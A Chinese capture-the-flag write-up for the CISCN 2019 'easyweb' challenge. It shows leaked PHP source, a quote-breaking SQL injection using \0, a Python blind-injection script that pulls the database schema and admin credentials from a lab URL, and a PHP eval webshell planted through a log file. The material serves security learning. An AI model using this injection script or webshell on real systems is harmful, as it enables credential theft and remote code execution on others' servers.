ciscn2019總決賽day2web1-easyweb題解


題目首頁是一個登錄頁面,嘗試注入失敗。抓包過程中發現了image和user兩個PHP文件,image可以傳id參數,但只有id為1、2和3時能顯示圖片,其他情況為空頁面。

實在找不到可用信息以及hint,想到查看robots.txt文件,發現真的有。

User-agent: *
Disallow: *.php.bak

於是發現了image.php.bak。

<?php
include 'config.php';
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

?>

可以發現image可以傳遞id和path兩個參數,並可能觸發SQL注入,前提是可以繞過對id和path的過濾。

接下來想辦法繞過過濾,主要是破壞單引號,重點借助以下四行代碼。

$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

如何根據這幾行代碼破壞單引號呢,只能是用轉義字符\或者單引號自己來破壞。但是用單引號一定會被替換掉,只能考慮\。

對於1,2兩行代碼,如果參數中有斜杠或者單引號會被在加上一個斜杠來轉義。因此如果令id為\0,id會先變成\\0。之后\0被替換掉,會剩下一個\,這樣的話原SQL語句的結構就會變為:

select * from images where id='x'{$path}'

其中x是一個字符串了,x為:

\' or path=

接下來借助path的值可以進行SQL注入。

我在這里寫了個腳本,需要注意的就是URL傳遞\0的時候在字符串中多加個\。此外由於單引號不能繞過,所以用到字符串比較的時候可以借助十六進制串來表示。

import requests
import time
#url是隨時更新的,具體的以做題時候的為准
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 30
    for l in range(1,length+1):
    #從可打印字符開始
        begin = 32
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            if r.content!=b'':
                begin = tmp+1
                tmp = (begin+ends)//2 
            else:
                ends = tmp
                tmp = (begin+ends)//2
        #酌情刪除,畢竟一般庫表列里都沒有空格
        if tmp==32:
            break
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('數據庫名為:',exp(url))
#database 得到了是ciscnfinal,接下來用其16進制表示
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名為:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名為:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用戶名為:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密碼為:',exp(url))

於是得到了admin的用戶名和密碼。

在首頁進行登錄,進入一個上傳頁面。

抓包的時候有提示說用戶名寫進了log.php,既然是寫入PHP,我們就想到寫入一個PHP木馬。

<?php eval($_POST[a]);?>

但是提示不可以,不過將php標簽中的php三個字符換成等號也是等價的。

用蟻劍或菜刀等工具連接即可得到flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM